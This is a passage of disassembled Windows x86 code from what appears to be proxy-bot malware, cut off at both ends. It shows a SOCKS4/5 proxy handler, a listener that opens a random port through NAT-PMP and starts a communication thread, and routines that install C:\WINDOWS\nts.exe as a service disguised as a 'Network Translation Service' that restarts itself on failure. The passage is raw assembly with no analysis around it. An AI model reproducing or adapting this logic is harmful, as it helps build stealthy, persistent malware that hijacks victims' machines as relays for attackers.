[ebx], eax push 8 lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_442708 add esp, 0Ch pop ebx mov esp, ebp pop ebp retn sub_445100 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44513A proc near ; CODE XREF: sub_44517C+47p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h push ebp mov ebp, esp sub esp, 20h push ebx lea ebx, [ebp+var_20] mov byte ptr [ebx], 5 inc ebx movzx eax, [ebp+arg_4] mov [ebx], al inc ebx mov byte ptr [ebx], 0 inc ebx mov byte ptr [ebx], 1 inc ebx mov eax, [ebp+arg_8] mov [ebx], eax add ebx, 4 mov ax, [ebp+arg_C] mov [ebx], ax push 0Ah lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_442708 add esp, 0Ch pop ebx mov esp, ebp pop ebp retn sub_44513A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44517C proc near ; CODE XREF: DMN1:00445446p ; DMN1:00445602p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = word ptr 18h push ebp mov ebp, esp push ebx mov bl, [ebp+arg_8] cmp bl, 9 jbe short loc_44518C xor bl, bl inc bl loc_44518C: ; CODE XREF: sub_44517C+Aj cmp [ebp+arg_0], 4 jnz short loc_4451B4 movzx eax, bl mov bl, byte_411034[eax] movzx eax, [ebp+arg_10] push eax push [ebp+arg_C] movzx eax, bl push eax push [ebp+arg_4] call sub_445100 add esp, 10h jmp short loc_4451CB ; --------------------------------------------------------------------------- loc_4451B4: ; CODE XREF: sub_44517C+14j movzx eax, [ebp+arg_10] push eax push [ebp+arg_C] movzx eax, bl push eax push [ebp+arg_4] call sub_44513A add esp, 10h loc_4451CB: ; CODE XREF: sub_44517C+36j pop ebx pop ebp retn sub_44517C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4451CE proc near ; CODE XREF: DMN1:004453D0p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx mov ebx, [ebp+arg_0] loc_4451D6: ; CODE XREF: sub_4451CE+23j push 1 lea eax, [ebp+var_1] push eax push ebx call sub_44265D add esp, 0Ch test eax, eax jg short loc_4451ED xor eax, eax jmp short loc_4451F6 ; --------------------------------------------------------------------------- loc_4451ED: ; CODE XREF: sub_4451CE+19j cmp [ebp+var_1], 0 jnz short loc_4451D6 xor eax, eax inc eax loc_4451F6: ; CODE XREF: sub_4451CE+1Dj pop ebx mov esp, ebp pop ebp retn sub_4451CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4451FB proc near ; CODE XREF: DMN1:00445407p var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_4] mov esi, [ebp+arg_8] xor edi, edi mov byte ptr [ebx], 0 loc_44520D: ; CODE XREF: sub_4451FB+47j push 1 lea eax, [ebp+var_1] push eax push [ebp+arg_0] call sub_44265D add esp, 0Ch test eax, eax jg short loc_445226 xor eax, eax jmp short loc_445247 ; --------------------------------------------------------------------------- loc_445226: ; CODE XREF: sub_4451FB+25j mov eax, edi inc edi mov dl, [ebp+var_1] mov [ebx+eax], dl mov byte ptr [ebx+edi], 0 lea eax, [esi-1] cmp edi, eax jl short loc_44523E xor eax, eax jmp short loc_445247 ; --------------------------------------------------------------------------- loc_44523E: ; CODE XREF: sub_4451FB+3Dj cmp [ebp+var_1], 0 jnz short loc_44520D xor eax, eax inc eax loc_445247: ; CODE XREF: sub_4451FB+29j ; sub_4451FB+41j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4451FB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 430h push ebx push esi push edi mov eax, [ebp+8] mov [ebp-41Ch], eax mov edi, [eax+8] mov eax, [ebp-41Ch] mov edx, [eax] mov [ebp-410h], edx mov dx, [eax+4] mov [ebp-40Ah], dx push eax call sub_441FF7 pop ecx and dword ptr [ebp-4], 0 mov eax, [ebp-410h] mov [ebp-420h], eax push eax call sub_447CA1 ; inet_ntoa mov [ebp-418h], eax movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-418h] push offset aConnectionFrom ; "connection from [%s]\n" call sub_4481E1 add esp, 0Ch mov byte ptr [ebp-411h], 0 mov byte ptr [ebp-421h], 0 push 1 lea eax, [ebp-411h] push eax push edi call sub_44265D add esp, 0Ch test eax, eax jle loc_4458BB push offset dword_41285C call dword_411CCC ; RtlEnterCriticalSection push 0 push dword ptr [ebp-410h] push dword_412934 call sub_442F64 add esp, 0Ch mov [ebp-428h], eax push offset dword_41285C call dword_411CD0 ; RtlLeaveCriticalSection cmp dword ptr [ebp-428h], 0 jnz short loc_445337 push dword ptr [ebp-418h] push offset aConnectionReje ; "connection rejected (from [%s])\n" call nullsub_3 pop ecx pop ecx jmp loc_4458BB ; --------------------------------------------------------------------------- loc_445337: ; CODE XREF: DMN1:0044531Ej mov word ptr [ebp-40Ah], 0 and dword ptr [ebp-410h], 0 mov al, [ebp-411h] cmp al, 4 jz short loc_445359 cmp al, 5 jnz loc_4458BB loc_445359: ; CODE XREF: DMN1:0044534Fj push dword ptr [ebp-418h] movsx eax, byte ptr [ebp-411h] push eax push offset aSocksVIS ; "socks v%i [%s]\n" call nullsub_3 add esp, 0Ch cmp byte ptr [ebp-411h], 4 jnz loc_445453 push 1 lea eax, [ebp-421h] push eax push edi call sub_44265D add esp, 0Ch test eax, eax jle loc_4458BB push 2 lea eax, [ebp-40Ah] push eax push edi call sub_44265D add esp, 0Ch test eax, eax jle loc_4458BB push 4 lea eax, [ebp-410h] push eax push edi call sub_44265D add esp, 0Ch test eax, eax jle loc_4458BB push edi call sub_4451CE pop ecx test eax, eax jz loc_4458BB mov eax, [ebp-410h] test eax, 0FFFFFFh jnz loc_44563F test eax, 0FF000000h jz loc_44563F push 400h lea eax, [ebp-408h] push eax push edi call sub_4451FB add esp, 0Ch test eax, eax jz loc_4458BB lea eax, [ebp-408h] push eax call sub_44273F pop ecx mov [ebp-410h], eax test eax, eax jz short loc_44543D cmp eax, 0FFFFFFFFh jz short loc_44543D test eax, eax jnz loc_44563F loc_44543D: ; CODE XREF: DMN1:0044542Cj ; DMN1:00445433j push 0 push 0 push 4 push edi push 4 call sub_44517C add esp, 14h jmp loc_4458BB ; --------------------------------------------------------------------------- loc_445453: ; CODE XREF: DMN1:0044537Bj cmp byte ptr [ebp-411h], 5 jnz loc_4458BB mov byte ptr [ebp-429h], 0 push 1 lea eax, [ebp-429h] push eax push edi call sub_44265D add esp, 0Ch test eax, eax jg short loc_4454A3 jmp loc_4458BB ; --------------------------------------------------------------------------- loc_445482: ; CODE XREF: DMN1:004454AAj push 1 lea eax, [ebp-42Ah] push eax push edi call sub_44265D add esp, 0Ch test eax, eax jle loc_4458BB sub byte ptr [ebp-429h], 1 loc_4454A3: ; CODE XREF: DMN1:0044547Bj cmp byte ptr [ebp-429h], 0 jnz short loc_445482 mov dword ptr [ebp-430h], 5 push 2 lea eax, [ebp-430h] push eax push edi call sub_442708 add esp, 0Ch test eax, eax jle loc_4458BB push 1 lea eax, [ebp-42Ah] push eax push edi call sub_44265D add esp, 0Ch test eax, eax jle loc_4458BB cmp byte ptr [ebp-42Ah], 5 jnz loc_4458BB push 1 lea eax, [ebp-421h] push eax push edi call sub_44265D add esp, 0Ch test eax, eax jle loc_4458BB push 1 lea eax, [ebp-42Ah] push eax push edi call sub_44265D add esp, 0Ch test eax, eax jle loc_4458BB mov byte ptr [ebp-42Bh], 0 push 1 lea eax, [ebp-42Bh] push eax push edi call sub_44265D add esp, 0Ch test eax, eax jle loc_4458BB cmp byte ptr [ebp-42Bh], 1 jnz short loc_445574 push 4 lea eax, [ebp-410h] push eax push edi call sub_44265D add esp, 0Ch test eax, eax jg loc_445625 jmp loc_4458BB ; --------------------------------------------------------------------------- loc_445574: ; CODE XREF: DMN1:00445553j cmp byte ptr [ebp-42Bh], 3 jnz loc_44560F push 1 lea eax, [ebp-429h] push eax push edi call sub_44265D add esp, 0Ch test eax, eax jle loc_4458BB cmp byte ptr [ebp-429h], 0 jz loc_4458BB movsx eax, byte ptr [ebp-429h] push eax lea eax, [ebp-408h] push eax push edi call sub_44265D add esp, 0Ch test eax, eax jle loc_4458BB movsx eax, byte ptr [ebp-429h] mov byte ptr [ebp+eax-408h], 0 lea eax, [ebp-408h] push eax call sub_44273F pop ecx mov [ebp-410h], eax test eax, eax jz short loc_4455F9 cmp eax, 0FFFFFFFFh jz short loc_4455F9 test eax, eax jnz short loc_445625 loc_4455F9: ; CODE XREF: DMN1:004455ECj ; DMN1:004455F3j push 0 push 0 push 4 push edi push 5 call sub_44517C add esp, 14h jmp loc_4458BB ; --------------------------------------------------------------------------- loc_44560F: ; CODE XREF: DMN1:0044557Bj push 0 push 0 push 8 push edi push 5 call sub_44517C add esp, 14h jmp loc_4458BB ; --------------------------------------------------------------------------- loc_445625: ; CODE XREF: DMN1:00445569j ; DMN1:004455F7j push 2 lea eax, [ebp-40Ah] push eax push edi call sub_44265D add esp, 0Ch test eax, eax jle loc_4458BB loc_44563F: ; CODE XREF: DMN1:004453E9j ; DMN1:004453F4j ... movzx eax, word ptr [ebp-40Ah] push eax call sub_447C59 ; htons mov [ebp-40Ah], ax test ax, ax jnz short loc_445674 push 0 push 0 push 2 push edi movsx eax, byte ptr [ebp-411h] push eax call sub_44517C add esp, 14h jmp loc_4458BB ; --------------------------------------------------------------------------- loc_445674: ; CODE XREF: DMN1:00445656j cmp byte ptr [ebp-421h], 1 jz short loc_4456A3 movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-410h] push 7 push edi movsx eax, byte ptr [ebp-411h] push eax call sub_44517C add esp, 14h jmp loc_4458BB ; --------------------------------------------------------------------------- loc_4456A3: ; CODE XREF: DMN1:0044567Bj call sub_4422DA mov [ebp-4], eax test eax, eax jnz short loc_4456CB push 0 push 0 push 1 push edi movsx eax, byte ptr [ebp-411h] push eax call sub_44517C add esp, 14h jmp loc_4458BB ; --------------------------------------------------------------------------- loc_4456CB: ; CODE XREF: DMN1:004456ADj mov eax, [ebp-410h] mov [ebp-420h], eax push eax call sub_447CA1 ; inet_ntoa mov [ebp-418h], eax movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-418h] push offset aConnectingToSI ; "connecting to %s:%i\n" call nullsub_3 add esp, 0Ch movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-410h] push dword ptr [ebp-4] call sub_4424E8 add esp, 0Ch test eax, eax jnz short loc_445762 call sub_447CB3 ; WSAGetLastError push eax movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-418h] push offset aConnectionToSI ; "connection to %s:%i failed! %-( (%i)\n" call nullsub_3 add esp, 10h movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-410h] push 4 push edi movsx eax, byte ptr [ebp-411h] push eax call sub_44517C add esp, 14h jmp loc_4458BB ; --------------------------------------------------------------------------- loc_445762: ; CODE XREF: DMN1:00445719j movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-418h] push offset aConnectedToSI ; "connected to %s:%i\n" call nullsub_3 add esp, 0Ch movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-410h] push 0 push edi movsx eax, byte ptr [ebp-411h] push eax call sub_44517C add esp, 14h test eax, eax jz loc_4458BB push offset aTransferringDa ; "transferring data...\n" call nullsub_3 pop ecx xor esi, esi loc_4457B3: ; CODE XREF: DMN1:0044589Aj ; DMN1:004458ABj inc esi push edi call sub_442450 pop ecx test eax, eax jl loc_4458B0 push edi call sub_4424C3 pop ecx mov ebx, eax test ebx, ebx jl loc_4458B0 cmp esi, 1Eh jle short loc_4457E0 test ebx, ebx jnz short loc_4457E0 xor ebx, ebx inc ebx loc_4457E0: ; CODE XREF: DMN1:004457D7j ; DMN1:004457DBj test ebx, ebx jle short loc_44582C cmp ebx, 400h jle short loc_4457F1 mov ebx, 400h loc_4457F1: ; CODE XREF: DMN1:004457EAj push ebx lea eax, [ebp-408h] push eax push edi call sub_44265D add esp, 0Ch mov [ebp-8], eax test eax, eax jle loc_4458B0 push dword ptr [ebp-8] lea eax, [ebp-408h] push eax push dword ptr [ebp-4] call sub_442708 add esp, 0Ch test eax, eax jle loc_4458BB xor esi, esi loc_44582C: ; CODE XREF: DMN1:004457E2j push dword ptr [ebp-4] call sub_442450 pop ecx test eax, eax jl short loc_4458B0 push dword ptr [ebp-4] call sub_4424C3 pop ecx mov ebx, eax test ebx, ebx jl short loc_4458B0 cmp esi, 1Eh jle short loc_445854 test ebx, ebx jnz short loc_445854 xor ebx, ebx inc ebx loc_445854: ; CODE XREF: DMN1:0044584Bj ; DMN1:0044584Fj test ebx, ebx jle short loc_445898 cmp ebx, 400h jle short loc_445865 mov ebx, 400h loc_445865: ; CODE XREF: DMN1:0044585Ej push ebx lea eax, [ebp-408h] push eax push dword ptr [ebp-4] call sub_44265D add esp, 0Ch mov [ebp-8], eax test eax, eax jle short loc_4458B0 push dword ptr [ebp-8] lea eax, [ebp-408h] push eax push edi call sub_442708 add esp, 0Ch test eax, eax jle short loc_4458BB xor esi, esi loc_445898: ; CODE XREF: DMN1:00445856j test esi, esi jz loc_4457B3 push 12Ch call dword_411D00 ; Sleep jmp loc_4457B3 ; --------------------------------------------------------------------------- loc_4458B0: ; CODE XREF: DMN1:004457BDj ; DMN1:004457CEj ... push offset aDataExchangeCo ; "data exchange complete\n" call nullsub_3 pop ecx loc_4458BB: ; CODE XREF: DMN1:004452DFj ; DMN1:00445332j ... push offset aConnectionClos ; "connection closed.\n" call nullsub_3 pop ecx push edi call sub_442443 pop ecx cmp dword ptr [ebp-4], 0 jz short loc_4458DC push dword ptr [ebp-4] call sub_442443 pop ecx loc_4458DC: ; CODE XREF: DMN1:004458D1j call sub_448921 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi and dword ptr [ebp-4], 0 and dword_41100C, 0 push offset aListener___ ; "listener...\n" call nullsub_3 pop ecx lea eax, [ebp-0Ah] push eax call sub_443427 pop ecx mov bx, ax test bx, bx jz short loc_44593C cmp bx, 0FFFFh jz short loc_44593C movzx eax, bx cmp dword_411010, eax jz short loc_44593C movzx eax, bx mov dword_411010, eax movzx eax, word ptr [ebp-0Ah] mov dword_41100C, eax loc_44593C: ; CODE XREF: DMN1:00445917j ; DMN1:0044591Ej ... call sub_4422DA mov dword_411030, eax loc_445946: ; CODE XREF: DMN1:004459BFj cmp dword_41100C, 0 jnz short loc_44597F loc_44594F: ; CODE XREF: DMN1:00445976j ; DMN1:0044597Dj lea eax, [ebp-4] push eax call sub_441F82 pop ecx mov ecx, 0C350h cdq idiv ecx lea eax, [edx+2710h] mov dword_41100C, eax mov eax, dword_41100C cmp eax, 24A2h jz short loc_44594F cmp eax, 15B7h jz short loc_44594F loc_44597F: ; CODE XREF: DMN1:0044594Dj movzx eax, word ptr dword_41100C push eax push 0 push dword_411030 call sub_442538 add esp, 0Ch test eax, eax jnz short loc_4459C1 and dword_41100C, 0 and dword_411010, 0 push dword_411030 call sub_442443 pop ecx call sub_4422DA mov dword_411030, eax jmp short loc_445946 ; --------------------------------------------------------------------------- loc_4459C1: ; CODE XREF: DMN1:00445999j push dword_41100C push offset aSocksPortI ; "SOCKS port: %i\n" call sub_4481E1 pop ecx pop ecx mov eax, dword_41100C mov dword_411010, eax call sub_444094 mov [ebp-8], eax movzx eax, word ptr dword_411010 push eax movzx eax, word ptr dword_41100C push eax push dword ptr [ebp-8] call sub_4442A3 add esp, 0Ch movzx eax, ax mov dword_411010, eax cmp dword_411010, 0 jnz short loc_445A1D mov eax, dword_41100C mov dword_411010, eax jmp short loc_445A2F ; --------------------------------------------------------------------------- loc_445A1D: ; CODE XREF: DMN1:00445A0Fj push dword_411010 push offset aNatpmpForwarde ; "NATPMP: forwarded to: %i\n" call sub_4481E1 pop ecx pop ecx loc_445A2F: ; CODE XREF: DMN1:00445A1Bj movzx eax, word ptr dword_41100C push eax push eax call sub_443A83 pop ecx pop ecx test eax, eax jz short loc_445A48 mov eax, dword_41100C loc_445A48: ; CODE XREF: DMN1:00445A41j push 1 push offset dword_411024 call dword_411D04 ; InterlockedExchange push 1 push offset dword_41102C call dword_411D04 ; InterlockedExchange push offset aStartingCommTh ; "starting COMM thread...\n" call nullsub_3 pop ecx push 0 push 0 push offset sub_40400E call sub_448891 add esp, 0Ch push eax call dword_411CF8 ; CloseHandle push 0C8h call dword_411D00 ; Sleep push 0 push 0 push offset sub_403FEA call sub_448891 add esp, 0Ch push eax call dword_411CF8 ; CloseHandle push 0C8h call dword_411D00 ; Sleep loc_445AB3: ; CODE XREF: DMN1:00445ADDj ; DMN1:00445B10j push dword_411030 call sub_442588 pop ecx test eax, eax jz short loc_445B12 lea eax, [ebp-12h] push eax lea eax, [ebp-10h] push eax push dword_411030 call sub_4425ED add esp, 0Ch mov edi, eax test edi, edi jz short loc_445AB3 push 0Ch call sub_441FC9 pop ecx mov esi, eax mov eax, [ebp-10h] mov [esi], eax mov ax, [ebp-12h] mov [esi+4], ax mov [esi+8], edi push esi push 0 push offset sub_4042CD call sub_448891 add esp, 0Ch push eax call dword_411CF8 ; CloseHandle jmp short loc_445AB3 ; --------------------------------------------------------------------------- loc_445B12: ; CODE XREF: DMN1:00445AC1j push 0 push offset dword_41102C call dword_411D04 ; InterlockedExchange push dword_411030 call sub_442443 pop ecx and dword_411030, 0 call sub_448921 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx mov ebx, [ebp+10h] push 44h push 0 lea eax, [ebp-44h] push eax call sub_448551 add esp, 0Ch mov dword ptr [ebp-44h], 44h test ebx, ebx jz short loc_445B7B push offset asc_40EDC7 ; "\"" lea eax, [ebp-844h] push eax call sub_4485F1 pop ecx pop ecx jmp short loc_445B82 ; --------------------------------------------------------------------------- loc_445B7B: ; CODE XREF: DMN1:00445B64j mov byte ptr [ebp-844h], 0 loc_445B82: ; CODE XREF: DMN1:00445B79j cmp dword ptr [ebp+8], 0 jz short loc_445B9B push dword ptr [ebp+8] lea eax, [ebp-844h] push eax call sub_448611 pop ecx pop ecx jmp short loc_445BAE ; --------------------------------------------------------------------------- loc_445B9B: ; CODE XREF: DMN1:00445B86j push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" lea eax, [ebp-844h] push eax call sub_448611 pop ecx pop ecx loc_445BAE: ; CODE XREF: DMN1:00445B99j test ebx, ebx jz short loc_445BC5 push offset asc_40EDC7 ; "\"" lea eax, [ebp-844h] push eax call sub_448611 pop ecx pop ecx loc_445BC5: ; CODE XREF: DMN1:00445BB0j cmp dword ptr [ebp+0Ch], 0 jz short loc_445BEF push offset asc_40EDB2 ; " " lea eax, [ebp-844h] push eax call sub_448611 pop ecx pop ecx push dword ptr [ebp+0Ch] lea eax, [ebp-844h] push eax call sub_448611 pop ecx pop ecx loc_445BEF: ; CODE XREF: DMN1:00445BC9j lea eax, [ebp-854h] push eax lea eax, [ebp-44h] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp-844h] push eax push 0 call dword_411D10 ; CreateProcessA test eax, eax jz short loc_445C34 push dword ptr [ebp-850h] call dword_411CF8 ; CloseHandle push dword ptr [ebp-854h] call dword_411CF8 ; CloseHandle xor eax, eax inc eax loc_445C34: ; CODE XREF: DMN1:00445C17j pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_445C39 proc near ; CODE XREF: DMN1:00446B85p ; sub_447672:loc_4479AEp ... push ebx push esi push 0F003Fh push 0 push 0 call dword_411E44 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_445C80 push 4 push offset aNts ; "NTS" push ebx call dword_411E48 ; OpenServiceA mov esi, eax test esi, esi jnz short loc_445C6F push ebx call dword_411E4C ; CloseServiceHandle xor eax, eax jmp short loc_445C80 ; --------------------------------------------------------------------------- loc_445C6F: ; CODE XREF: sub_445C39+29j push esi call dword_411E4C ; CloseServiceHandle push ebx call dword_411E4C ; CloseServiceHandle xor eax, eax inc eax loc_445C80: ; CODE XREF: sub_445C39+15j ; sub_445C39+34j pop esi pop ebx retn sub_445C39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445C83 proc near ; CODE XREF: sub_447672+3C4p var_1C = byte ptr -1Ch var_18 = dword ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi push 0F003Fh push 0 push 0 call dword_411E44 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_445CED push 94h push offset aNts ; "NTS" push ebx call dword_411E48 ; OpenServiceA mov esi, eax test esi, esi jnz short loc_445CC3 push ebx call dword_411E4C ; CloseServiceHandle xor eax, eax jmp short loc_445CED ; --------------------------------------------------------------------------- loc_445CC3: ; CODE XREF: sub_445C83+33j xor edi, edi lea eax, [ebp+var_1C] push eax push esi call dword_411E50 ; QueryServiceStatus test eax, eax jz short loc_445CDD cmp [ebp+var_18], 4 jnz short loc_445CDD xor edi, edi inc edi loc_445CDD: ; CODE XREF: sub_445C83+4Fj ; sub_445C83+55j push esi call dword_411E4C ; CloseServiceHandle push ebx call dword_411E4C ; CloseServiceHandle mov eax, edi loc_445CED: ; CODE XREF: sub_445C83+1Cj ; sub_445C83+3Ej pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_445C83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445CF4 proc near ; CODE XREF: sub_445D89+32p ; sub_445DD7+39p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx mov ebx, [ebp+arg_0] push 0 push 0 push 0 push 0 push 0 push 0 push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push 0 push 2 push 0FFFFFFFFh push ebx call dword_411E54 ; ChangeServiceConfigA test eax, eax jnz short loc_445D36 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_445D32 or eax, 0FFFFFFFFh jmp short loc_445D84 ; --------------------------------------------------------------------------- loc_445D32: ; CODE XREF: sub_445CF4+37j xor eax, eax jmp short loc_445D84 ; --------------------------------------------------------------------------- loc_445D36: ; CODE XREF: sub_445CF4+2Aj mov [ebp+var_1C], 1 and [ebp+var_18], 0 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 lea eax, [ebp+var_1C] mov [ebp+var_4], eax lea eax, [ebp+var_14] push eax push 2 push ebx call dword_411E58 ; ChangeServiceConfig2A test eax, eax jnz short loc_445D81 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_445D7D or eax, 0FFFFFFFFh jmp short loc_445D84 ; --------------------------------------------------------------------------- loc_445D7D: ; CODE XREF: sub_445CF4+82j xor eax, eax jmp short loc_445D84 ; --------------------------------------------------------------------------- loc_445D81: ; CODE XREF: sub_445CF4+75j xor eax, eax inc eax loc_445D84: ; CODE XREF: sub_445CF4+3Cj ; sub_445CF4+40j ... pop ebx mov esp, ebp pop ebp retn sub_445CF4 endp ; =============== S U B R O U T I N E ======================================= sub_445D89 proc near ; CODE XREF: sub_445EAB+6Dp ; DMN1:loc_446B9Cp push ebx push esi push edi xor edi, edi push 0F003Fh push 0 push 0 call dword_411E44 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_445DD3 push 96h push offset aNts ; "NTS" push ebx call dword_411E48 ; OpenServiceA mov esi, eax test esi, esi jz short loc_445DCA push esi call sub_445CF4 pop ecx mov edi, eax push esi call dword_411E4C ; CloseServiceHandle loc_445DCA: ; CODE XREF: sub_445D89+2Fj push ebx call dword_411E4C ; CloseServiceHandle mov eax, edi loc_445DD3: ; CODE XREF: sub_445D89+18j pop edi pop esi pop ebx retn sub_445D89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445DD7 proc near ; CODE XREF: DMN1:00446A9Bp ; sub_447672+428p ... var_1C = byte ptr -1Ch var_18 = dword ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi xor esi, esi push 0F003Fh push 0 push 0 call dword_411E44 ; OpenSCManagerA mov edi, eax test eax, eax jz loc_445EA4 push 16h push offset aNts ; "NTS" push edi call dword_411E48 ; OpenServiceA mov ebx, eax test ebx, ebx jz short loc_445E33 push ebx call sub_445CF4 pop ecx mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_445E2F push ebx call dword_411E4C ; CloseServiceHandle push edi call dword_411E4C ; CloseServiceHandle mov eax, esi jmp short loc_445EA4 ; --------------------------------------------------------------------------- loc_445E2F: ; CODE XREF: sub_445DD7+44j xor esi, esi jmp short loc_445E43 ; --------------------------------------------------------------------------- loc_445E33: ; CODE XREF: sub_445DD7+36j push 14h push offset aNts ; "NTS" push edi call dword_411E48 ; OpenServiceA mov ebx, eax loc_445E43: ; CODE XREF: sub_445DD7+5Aj test ebx, ebx jnz short loc_445E52 push edi call dword_411E4C ; CloseServiceHandle xor eax, eax jmp short loc_445EA4 ; --------------------------------------------------------------------------- loc_445E52: ; CODE XREF: sub_445DD7+6Ej lea eax, [ebp+var_1C] push eax push ebx call dword_411E50 ; QueryServiceStatus test eax, eax jz short loc_445E6A cmp [ebp+var_18], 4 jnz short loc_445E6A xor esi, esi inc esi loc_445E6A: ; CODE XREF: sub_445DD7+88j ; sub_445DD7+8Ej test esi, esi jnz short loc_445E94 push 0 push 0 push ebx call dword_411E5C ; StartServiceA test eax, eax jz short loc_445E84 mov esi, 2 jmp short loc_445E94 ; --------------------------------------------------------------------------- loc_445E84: ; CODE XREF: sub_445DD7+A4j call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_445E94 or esi, 0FFFFFFFFh loc_445E94: ; CODE XREF: sub_445DD7+95j ; sub_445DD7+ABj ... push ebx call dword_411E4C ; CloseServiceHandle push edi call dword_411E4C ; CloseServiceHandle mov eax, esi loc_445EA4: ; CODE XREF: sub_445DD7+1Ej ; sub_445DD7+56j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_445DD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445EAB proc near ; CODE XREF: DMN1:loc_446BADp ; sub_447672+3F3p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_113 = byte ptr -113h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 0F003Fh push 0 push 0 call dword_411E44 ; OpenSCManagerA mov esi, eax test eax, eax jz loc_445FE6 push 0 push 0 push 0 push 0 push 0 push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push 0 push 2 push 110h push 0F01FFh push offset aNetworkTransla ; "Network Translation Service" push offset aNts ; "NTS" push esi call dword_411E60 ; CreateServiceA mov ebx, eax test ebx, ebx jnz short loc_445F33 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 431h jnz short loc_445F25 push esi call dword_411E4C ; CloseServiceHandle call sub_445D89 xor eax, eax inc eax jmp loc_445FE6 ; --------------------------------------------------------------------------- loc_445F25: ; CODE XREF: sub_445EAB+64j push esi call dword_411E4C ; CloseServiceHandle xor eax, eax jmp loc_445FE6 ; --------------------------------------------------------------------------- loc_445F33: ; CODE XREF: sub_445EAB+57j push offset aServiceRegiste ; "service registered\n" call nullsub_4 pop ecx xor edi, edi inc edi push 0FFh push offset aProvidesHardwa ; "Provides hardware-to-software binary ne"... lea eax, [ebp+var_113] push eax call dword_411D3C ; lstrcpyn lea eax, [ebp+var_113] mov [ebp+var_120], eax lea eax, [ebp+var_120] push eax push 1 push ebx call dword_411E58 ; ChangeServiceConfig2A test eax, eax jnz short loc_445F88 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_445F88 or edi, 0FFFFFFFFh loc_445F88: ; CODE XREF: sub_445EAB+CBj ; sub_445EAB+D8j mov [ebp+var_11C], 1 and [ebp+var_118], 0 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 lea eax, [ebp+var_11C] mov [ebp+var_4], eax lea eax, [ebp+var_14] push eax push 2 push ebx call dword_411E58 ; ChangeServiceConfig2A test eax, eax jnz short loc_445FD6 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_445FD6 or edi, 0FFFFFFFFh loc_445FD6: ; CODE XREF: sub_445EAB+119j ; sub_445EAB+126j push ebx call dword_411E4C ; CloseServiceHandle push esi call dword_411E4C ; CloseServiceHandle mov eax, edi loc_445FE6: ; CODE XREF: sub_445EAB+1Fj ; sub_445EAB+75j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_445EAB endp ; =============== S U B R O U T I N E ======================================= sub_445FED proc near ; CODE XREF: DMN1:00444F74p ; sub_447672+B0p ... push ebx push esi push 0F003Fh push 0 push 0 call dword_411E44 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_44602F push 0F01FFh push offset aNts ; "NTS" push ebx call dword_411E48 ; OpenServiceA mov esi, eax push esi call dword_411E64 ; DeleteService push esi call 